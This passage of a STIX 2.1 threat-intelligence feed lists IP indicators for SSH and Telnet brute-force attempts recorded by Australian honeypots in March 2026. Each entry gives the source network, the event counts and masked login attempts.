      "id": "indicator--0d8eab57-66a7-4819-b8d9-39f8b8925c84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.166.136.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T09:15:03.000Z",
      "valid_until": "2026-04-30T09:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--31caac18-5d15-47fa-9e77-d326d23435da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.173.241.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 9443. Organisation(s): Vocus Retail.",
      "id": "indicator--8e80b962-d309-4603-96c6-f7bad0e60f5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.168.239.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 199524. Organisation(s): G-Core Labs S.A.. Usernames observed (masked): r**t. Passwords observed (masked): C*******@, H*********9, P**********6, a***w, a******1.",
      "id": "indicator--f1dcbe59-2397-451a-b0a6-24afe663aa30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.195.200.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0229af05-4d64-4d6e-945a-e1bfeec0d461",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.249.142.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 203273. Organisation(s): NetCrafters OU. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******6, J**************l, P*********!.",
      "id": "indicator--cbaced34-c9c7-415e-8ee9-7b7a94cb60fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.60.244.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--4ce11d62-3233-4f11-b673-0fda548940dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.163.52.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--9de338e9-93d1-4900-827c-2ebbf4181708",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.28.52.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T11:15:03.000Z",
      "valid_until": "2026-04-30T11:15:01.000Z"
    },
    {
      "created": "2026-03-29T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131414. Organisation(s): Long Van Soft Solution JSC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 7******************************4, P**********3, P**********6.",
      "id": "indicator--2f2ec2e0-3eab-4076-9b71-5bc0096cf8c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.97.135.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T12:15:03.000Z",
      "valid_until": "2026-04-30T12:15:00.000Z"
    },
    {
      "created": "2026-03-29T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd.",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T12:15:03.000Z",
      "valid_until": "2026-04-30T12:15:00.000Z"
    },
    {
      "created": "2026-03-29T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--2c70a97e-f1c7-486d-bb62-9e31c773274c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.122.253.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T12:15:03.000Z",
      "valid_until": "2026-04-30T12:15:00.000Z"
    },
    {
      "created": "2026-03-29T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--e598f7c8-9c07-4cc5-83ef-3cba693f2033",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.82.102.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T12:15:03.000Z",
      "valid_until": "2026-04-30T12:15:00.000Z"
    },
    {
      "created": "2026-03-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2d2a464d-ab91-413f-b5e5-15dbc08a3314",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T13:15:11.000Z",
      "valid_until": "2026-04-30T13:15:01.000Z"
    },
    {
      "created": "2026-03-29T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--4a4e6f20-fc8c-4b87-a788-29eda63a9564",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.36.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:15:20.000Z",
      "valid_until": "2026-04-30T14:15:00.000Z"
    },
    {
      "created": "2026-03-29T14:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1442. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, u****u, k***a, d****y, d******r. Passwords observed (masked): 1****6, ***, *, 1**4, P******d.",
      "id": "indicator--cbcf4550-c8a8-4e9a-9d43-57a5187c5776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.239.12.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:15:20.000Z",
      "valid_until": "2026-04-30T14:15:00.000Z"
    },
    {
      "created": "2026-03-29T14:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--f38afaae-586b-4d4e-be1e-23a40574f6ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.7.135.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:15:20.000Z",
      "valid_until": "2026-04-30T14:15:00.000Z"
    },
    {
      "created": "2026-03-29T14:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--8ee6a75d-23d1-41b1-ad36-f9d83380f202",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T14:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:15:20.000Z",
      "valid_until": "2026-04-30T14:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): a***n, r**t, ***. Passwords observed (masked): *, *, a***n, r**t, u****k.",
      "id": "indicator--3e6f0ca7-8b69-46e6-b94c-c9f587c91f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.33.12.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, w******c, ***. Passwords observed (masked): 1****6, q*******3, t*****3.",
      "id": "indicator--6b486739-0175-4f39-a7a4-0138ef3dd319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.113.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1******m, a******s, f******************@.",
      "id": "indicator--dc870592-6ff2-45cc-acec-13035fa1f19a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.105.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--77dfc0f2-888d-484b-b271-aa044937b9e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.232.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--6ad878ba-b4f4-4ce9-87a3-e565596beb81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.72.32.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e827c83b-a187-4d36-bb03-caa899d84659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.218.192.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8bae08a2-790b-4d37-a2f4-f833e3ef3fb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:15:03.000Z",
      "valid_until": "2026-04-30T15:15:00.000Z"
    },
    {
      "created": "2026-03-29T16:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--492c8973-27b8-428e-811c-9164f514d47f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.251.207.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:15:02.000Z",
      "valid_until": "2026-04-30T16:15:00.000Z"
    },
    {
      "created": "2026-03-29T16:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--9b6a366f-ddaa-415c-98b8-95d06f8694ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.255.180.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:15:02.000Z",
      "valid_until": "2026-04-30T16:15:00.000Z"
    },
    {
      "created": "2026-03-29T16:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--14ac72c6-deba-4970-9d30-ca3378178df4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T16:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.218.238.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:15:02.000Z",
      "valid_until": "2026-04-30T16:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--2ea4d410-38c1-48a6-9b48-4f7c86849186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.91.119.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********t, 3***********4, 3**********4, 8**2, @root1234..",
      "id": "indicator--6c504b64-2dc0-4426-a9c9-73ec81345d14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.49.238.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8987f1f3-1f1f-408e-b480-ea603dc21f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******@, 1******a, 1*****9.",
      "id": "indicator--483f8229-efe9-4455-ae0b-d6e7375ac7c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.241.58.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 58768. Organisation(s): Daffodil Online Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******6, 1******x, 2******0.",
      "id": "indicator--1efdfc24-aa9c-4a96-86e4-58205adbf974",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.101.23.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 205775. Organisation(s): Neon Core Network LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******@, 1*****9, 1******$.",
      "id": "indicator--37c6185e-299a-40bf-8eb8-d6519d1efd4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.252.153.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 993. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): s****d@e2b145e3dad1.com. Passwords observed (masked): e**********1.",
      "id": "indicator--9c9e5699-9e78-4a6e-bfe7-163efbf04d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 213887. Organisation(s): WAIcore Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**7, 3***********4, 3**********4, A****H, Q**********3.",
      "id": "indicator--fe609b1a-4dc2-4bbc-944c-9f9050e785d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.120.216.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T17:15:04.000Z",
      "valid_until": "2026-04-30T17:15:00.000Z"
    },
    {
      "created": "2026-03-29T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d69dfb4a-28c1-4272-ba8f-ae1e7b525dc7",
      "labels": [
